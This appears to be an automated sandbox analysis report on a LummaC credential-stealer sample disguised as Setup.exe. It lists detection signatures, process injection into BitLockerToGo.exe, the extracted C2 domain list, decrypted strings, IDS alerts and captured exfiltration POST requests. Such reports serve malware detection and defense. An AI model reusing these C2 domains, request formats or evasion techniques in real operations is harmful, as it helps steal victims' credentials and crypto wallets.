Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1542822
MD5:	c5f86099f8c1b5b8a8b5c9c884b764a4
SHA1:	a2686f52b8f9a95fca10082a37e0a5270576bb0f
SHA256:	a34d6e9743d028c4c7f91bace1a4d1b0b75d71774af8215c0819d84e29a89ef1
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Setup.exe (PID: 6228 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: C5F86099F8C1B5B8A8B5C9C884B764A4)

BitLockerToGo.exe (PID: 5232 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["ostracizez.sbs", "elaboretib.sbs", "definitib.sbs", "strikebripm.sbs", "mediavelk.sbs", "activedomest.sbs", "arenbootk.sbs", "fashionablei.sbs", "offybirhtdi.sbs"], "Build id": "tLYMe5--testtesttest"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2337072175.000000000329B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2336723188.0000000003295000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2336325859.0000000003295000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2368840988.000000000329B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2353542738.0000000003295000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2378788683.00000000032A2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2336902657.0000000003295000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2379061584.00000000032A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2379153647.00000000032AC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2305818543.000000000329D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2353697188.000000000329B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2292544012.000000000329D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2292620834.000000000329D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2336147464.0000000003295000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 5232	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 5232	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 5232	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 14 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:02:17.520081+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49747	188.114.97.3	443	TCP
2024-10-26T16:02:18.880458+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49758	188.114.97.3	443	TCP
2024-10-26T16:02:31.525182+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49839	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:02:17.520081+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49747	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:02:18.880458+0200	2049812	1	A Network Trojan was detected	192.168.2.6	49758	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:02:20.289488+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49768	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.2.BitLockerToGo.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["ostracizez.sbs", "elaboretib.sbs", "definitib.sbs", "strikebripm.sbs", "mediavelk.sbs", "activedomest.sbs", "arenbootk.sbs", "fashionablei.sbs", "offybirhtdi.sbs"], "Build id": "tLYMe5--testtesttest"}

Multi AV Scanner detection for submitted file

Source: Setup.exe

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: offybirhtdi.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: activedomest.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: arenbootk.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mediavelk.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: definitib.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: elaboretib.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: strikebripm.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ostracizez.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: fashionablei.sbs
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tLYMe5--testtesttest

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0041E9B6 CryptUnprotectData,

2_2_0041E9B6

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49839 version: TLS 1.2

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: Setup.exe, 00000000.00000002.2267915208.000000000BE80000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: Setup.exe, 00000000.00000002.2267915208.000000000BE80000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+386742D1h]	2_2_004420E8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp al, 5Ch	2_2_00406740
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	2_2_00445770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	2_2_00445890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, ecx	2_2_00428900
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B62B8D10h	2_2_0041E9B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	2_2_0041E9B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	2_2_0041CA15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_00431A22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1BDEE6EAh]	2_2_0040DF60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], cl	2_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+00000404h], 934E4F08h	2_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	2_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, edx	2_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+386742D1h]	2_2_00441FBE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esi]	2_2_00442074
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 30303030h	2_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 20202020h	2_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+3EE37117h]	2_2_00440010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00425030
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_0042F1E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax+ebx], 00000030h	2_2_004012D5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	2_2_0042D2A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0042D2A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_004393A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	2_2_004214C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, edx	2_2_0042D485
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+54h]	2_2_0043F500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+eax-01h]	2_2_00442589
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0934C5EAh]	2_2_00443620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], B62B8D10h	2_2_00429680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0934C5EAh]	2_2_004436B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], B62B8D10h	2_2_00429731
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, ebx	2_2_0043C870
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-08A8EA10h]	2_2_0042D8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+eax+3568085Eh]	2_2_0042BA62
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	2_2_0041FAD5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_00427A8A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], B62B8D10h	2_2_00429B40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_0042EB70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], B62B8D10h	2_2_00428B15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-08A8EA10h]	2_2_0042D8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	2_2_00429C41
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	2_2_0042EC10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_00404CA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	2_2_00405CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	2_2_00426DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], C3CDC4A6h	2_2_0043EE40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], cx	2_2_00421E00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	2_2_0041FED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+24h]	2_2_0041DF4C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 3568C09Bh	2_2_0041DF4C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	2_2_0042CF80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0042CF80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49758 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49747 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49747 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49768 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49758 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49839 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: ostracizez.sbs
Source: Malware configuration extractor	URLs: elaboretib.sbs
Source: Malware configuration extractor	URLs: definitib.sbs
Source: Malware configuration extractor	URLs: strikebripm.sbs
Source: Malware configuration extractor	URLs: mediavelk.sbs
Source: Malware configuration extractor	URLs: activedomest.sbs
Source: Malware configuration extractor	URLs: arenbootk.sbs
Source: Malware configuration extractor	URLs: fashionablei.sbs
Source: Malware configuration extractor	URLs: offybirhtdi.sbs

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12866Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15112Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19970Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3809Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3825Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1254Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1132Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 121Host: fashionablei.sbs

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fashionablei.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fashionablei.sbs

Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000002.00000003.2368653057.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2403644084.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2379853214.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418744556.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2378878983.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2353942171.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2353542738.000000000327E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
